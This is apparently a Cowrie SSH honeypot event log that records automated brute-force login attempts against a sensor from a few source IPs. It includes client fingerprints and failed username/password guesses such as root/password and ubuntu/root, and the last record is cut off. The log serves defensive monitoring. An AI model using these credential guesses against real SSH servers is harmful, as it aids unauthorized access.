{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:29.961537Z","src_ip":"91.92.40.171","session":"c094f899f7b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:30.222842Z","src_ip":"91.92.40.171","session":"c094f899f7b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:30.227113Z","src_ip":"91.92.42.133","session":"1b8fb4794803","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:31.471875Z","src_ip":"91.92.40.171","session":"c094f899f7b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":46288,"dst_ip":"159.203.135.109","dst_port":22,"session":"059f43b177a7","protocol":"ssh","message":"New connection: 91.92.42.133:46288 (159.203.135.109:22) [session: 059f43b177a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:34.163718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:34.171458Z","src_ip":"91.92.42.133","session":"059f43b177a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:34.457263Z","src_ip":"91.92.42.133","session":"059f43b177a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:34.891461Z","src_ip":"91.92.42.133","session":"059f43b177a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:35.988822Z","src_ip":"91.92.42.133","session":"059f43b177a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":36812,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fca42420397","protocol":"ssh","message":"New connection: 91.92.40.171:36812 (159.203.135.109:22) [session: 7fca42420397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:36.930500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:36.934628Z","src_ip":"91.92.40.171","session":"7fca42420397","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:37.701431Z","src_ip":"91.92.40.171","session":"7fca42420397","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":49330,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2afdc5ba8f8","protocol":"ssh","message":"New connection: 91.92.42.133:49330 (159.203.135.109:22) [session: f2afdc5ba8f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:39.063103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:39.066766Z","src_ip":"91.92.42.133","session":"f2afdc5ba8f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:39.155508Z","src_ip":"91.92.42.133","session":"f2afdc5ba8f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"1","message":"login attempt [teamspeak/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:39.720814Z","src_ip":"91.92.42.133","session":"f2afdc5ba8f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":36834,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cd540ca115e","protocol":"ssh","message":"New connection: 91.92.40.171:36834 (159.203.135.109:22) [session: 6cd540ca115e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:40.674187Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:40.679305Z","src_ip":"91.92.40.171","session":"7fca42420397","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:40.814660Z","src_ip":"91.92.42.133","session":"f2afdc5ba8f8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:40.888577Z","src_ip":"91.92.40.171","session":"6cd540ca115e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:40.891264Z","src_ip":"91.92.40.171","session":"6cd540ca115e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changemeNOW","message":"login attempt [root/changemeNOW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:41.392044Z","src_ip":"91.92.40.171","session":"6cd540ca115e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:42.232659Z","src_ip":"91.92.40.171","session":"7fca42420397","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:42.478656Z","src_ip":"91.92.40.171","session":"6cd540ca115e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":49392,"dst_ip":"159.203.135.109","dst_port":22,"session":"56b1030340f2","protocol":"ssh","message":"New connection: 91.92.42.133:49392 (159.203.135.109:22) [session: 56b1030340f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:44.518294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:44.523191Z","src_ip":"91.92.42.133","session":"56b1030340f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:44.621871Z","src_ip":"91.92.42.133","session":"56b1030340f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:45.209356Z","src_ip":"91.92.42.133","session":"56b1030340f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:46.292065Z","src_ip":"91.92.42.133","session":"56b1030340f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":60810,"dst_ip":"159.203.135.109","dst_port":22,"session":"9410084f4ebe","protocol":"ssh","message":"New connection: 91.92.40.171:60810 (159.203.135.109:22) [session: 9410084f4ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:46.864049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:46.867788Z","src_ip":"91.92.40.171","session":"9410084f4ebe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:47.295343Z","src_ip":"91.92.40.171","session":"9410084f4ebe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root","message":"login attempt [ubuntu/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:48.450292Z","src_ip":"91.92.40.171","session":"9410084f4ebe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58830,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c436df4520f","protocol":"ssh","message":"New connection: 91.92.42.133:58830 (159.203.135.109:22) [session: 3c436df4520f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:49.660357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:49.665176Z","src_ip":"91.92.42.133","session":"3c436df4520f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:49.775290Z","src_ip":"91.92.42.133","session":"3c436df4520f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:49.911252Z","src_ip":"91.92.40.171","session":"9410084f4ebe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":41740,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd09acc28765","protocol":"ssh","message":"New connection: 193.37.70.224:41740 (159.203.135.109:22) [session: cd09acc28765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:49.984944Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:50.113708Z","src_ip":"91.92.42.133","session":"3c436df4520f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:50.159823Z","src_ip":"193.37.70.224","session":"cd09acc28765","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 